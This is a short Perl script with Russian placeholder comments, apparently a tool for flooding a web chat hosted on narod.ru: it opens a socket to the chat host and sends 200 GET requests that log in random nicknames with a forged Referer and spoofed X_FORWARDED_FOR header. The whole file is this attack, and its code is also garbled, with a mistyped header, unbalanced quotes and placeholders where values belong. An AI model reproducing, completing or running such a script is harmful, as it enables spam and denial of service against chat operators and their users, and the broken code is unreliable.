#!/usr/bin/perl
print "Contept-Type: text/html\n\n";
use Socket;
$host="ХОСТ ЧАТА НА НАРОД РУ";
$port="80";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp&#39);
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
@mass = (НИКГЕНЕРИРуЕМЫЙ', 'IP:'
$nickrand = @mass[0];
for($a=0;$a<200;$a++)
{   
  $iprand = int(rand(255));
  $iprand1 = int(rand(255)); 
  $iprand2 = int(rand(255));
  $iprand3 = int(rand(255));  
  $randnick = int(rand(100));
  $nick = "@mass[0]$randnick"; 
  send(SOCK, "GET полный путь к чату со входом ника, только ник не пиши заметсо ника поставь - $nick HTTP/1.1\nREFERER: http://путь до начала главного скрипта чата\nX_FORWARDED_FOR: IP\nHost: http://хост чата\n\n", 0);
}
 print "Wait: send packets...\n";
 print "$a\n";
 print <SOCK>;
 close(SOCK);
 print "Reserved:$a:$i\n";
 print "CLOSED... press key";
    
<>;